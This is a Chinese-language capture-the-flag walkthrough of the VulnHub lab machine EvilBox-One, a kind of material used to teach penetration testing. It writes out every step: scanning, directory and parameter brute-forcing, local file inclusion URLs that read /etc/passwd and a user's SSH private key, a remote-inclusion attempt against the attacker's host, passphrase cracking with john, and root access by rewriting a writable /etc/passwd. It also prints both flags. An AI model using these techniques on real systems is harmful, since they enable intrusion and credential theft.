靶机地址
https://download.vulnhub.com/evilbox/EvilBox—One.ova
目标
取得 root 权限 + 2 Flag
攻击方法
- 主机发现
- 网络扫描
- 强制访问
- 参数爆破
- 文件包含
php://filter
协议可以读取或写入文件 - PHP封装器
- 任意文件读取
- SSH公钥登录
- 离线密码破解
- 系统权限漏洞利用
工具
fping 目标发现
gobuster 文件路径扫描
ffuf 参数爆破
开始攻击
主机发现
使用fping -gaq 192.168.168.0/24
使用sudo nmap -p- 192.168.168.20
端口发现
使用sudo nmap -p22,80 -A 192.168.168.20
扫描应用版本,操作系统版本等
-A=-sV±sC±O
访问robots.txt
使用gobuster
与dirsearch相似,但可做dns信息收集。
语句:gobuster dir -u http://192.168.168.20 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
-w 指定字典
-x 指定扫描文件类型
对子目录再进行爆破gobuster dir -u http://192.168.168.20/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现evil.php文件。
也是空白
参数爆破
使用ffuf
来参数爆破,
创建val.txt
文件将被作为参数值
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w ./val.txt:VAL -u http://192.168.168.20/evil.php?PARAM=VAL -fs 0
-fs 0 指返回为空不显示
执行后发现
发现command参数,语句为ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.168.20/secret/evil.php?FUZZ=../index.html -fs 0
发现使用command
参数时可以执行命令
查看url发现是文件包含
文件包含利用
已知可以文件包含那么可以获取敏感文件的内容,访问http://192.168.168.20/secret/evil.php?command=../../../../../etc/passwd
这样就可以在本机构造webshell,通过文件包含让他引用我们的webshell,让我们可以执行命令。即尝试远程文件包含。
访问本机确认服务启动成功
尝试远程文件包含:http://192.168.168.20/secret/evil.php?command=http://192.168.168.21/index.html
失败了,这样就需要尝试伪协议了。
这次我们使用php://filter
协议:http://192.168.168.20/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
得到base64的文件内容。
默认情况下php://filter
协议使用read方法读取文件,但其实php://filter
协议也可以写入文件。http://192.168.168.20/secret/evil.php?command=php://filter/write/convert.base64-decode/resource=test.php&txt=PD9waHAK
可惜执行失败
ssh爆破
复盘发现etc/passwd中存在用户mowree,猜测可能存在突破口。
使用ssh mowree@192.168.168.20 -v
发现可以使用公钥连接。
这样有几个方式:
- 可以先在自己的电脑上生成自己的公钥私钥对。发到目标机上。
- 找到目标用户在目标机上的公钥。
查看公钥访问:192.168.168.20/secret/evil.php?command=../../../../../home/mowree/.ssh/authorized_keys
这是默认的ssh保存公钥的位置。
查看私钥访问:http://192.168.168.20/secret/evil.php?command=../../../../../home/mowree/.ssh/id_rsa
这是默认的ssh保存私钥的位置。
这样这个账号的公私钥都获得了,可以直接使用私钥进行登录。ssh mowree@192.168.168.20 -i id_rsa
再次失败
这样就需要ssh密码爆破
使用hashcat、john等工具进行爆破
使用john自带脚本。
使用./ssh2john.py ~/Desktop/id_rsa > ~/hash
将私钥转换可以看到生成了名为hash的文件
现在使用john ~/Desktop/hash --wordlist=rockyou.txt
进行爆破,得到私钥文件的密码为unicorn
成功登录
得到第一个flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
提权
现在开始提权。
首先找到所有具有执行权限的文件find / -perm /4000 2>/dev/null
-perm 文件的权限位正是模式(八进制或符号)。由于需要一个精确的匹配,如果您希望将此表单用于符号模式,那么可能必须规范化一个相当复杂的模式字符串。例如,‘-perm g = w’将只匹配模式为0020的文件(也就是说,组写权限是唯一的权限集)。更有可能的情况是,您希望使用‘/’或‘-’表单,例如‘-perm-g = w’,它与任何具有组写权限的文件匹配。请参阅示例部分以获得一些说明性示例。
2>/dev/null 将报错屏蔽
发现没有什么可利用点,于是考虑找可写文件改写文件内容。find / -writable 2>/dev/null |grep -v proc|grep -v home|grep -v sys|grep -v run
grep -v xxx 过滤输出中含xxx的字段
分析后发现我们对/etc/passwd
文件可写。
对etc/passwd文件利用
目前,linux系统将密码和账号分开存放,密码位于/etc/shadow,并使用x占位。
那么我们可以将x替换为密码,当x处为密码时则shadow文件不起作用。
生成密码的密文
使用openssl生成密码的密文openssl passwd -1
,这里设置root的密码为toor。
如图提权成功,得到root文件下的第二个flag。
36QtXfdJWvdC0VavlPIApUbDlqTsBM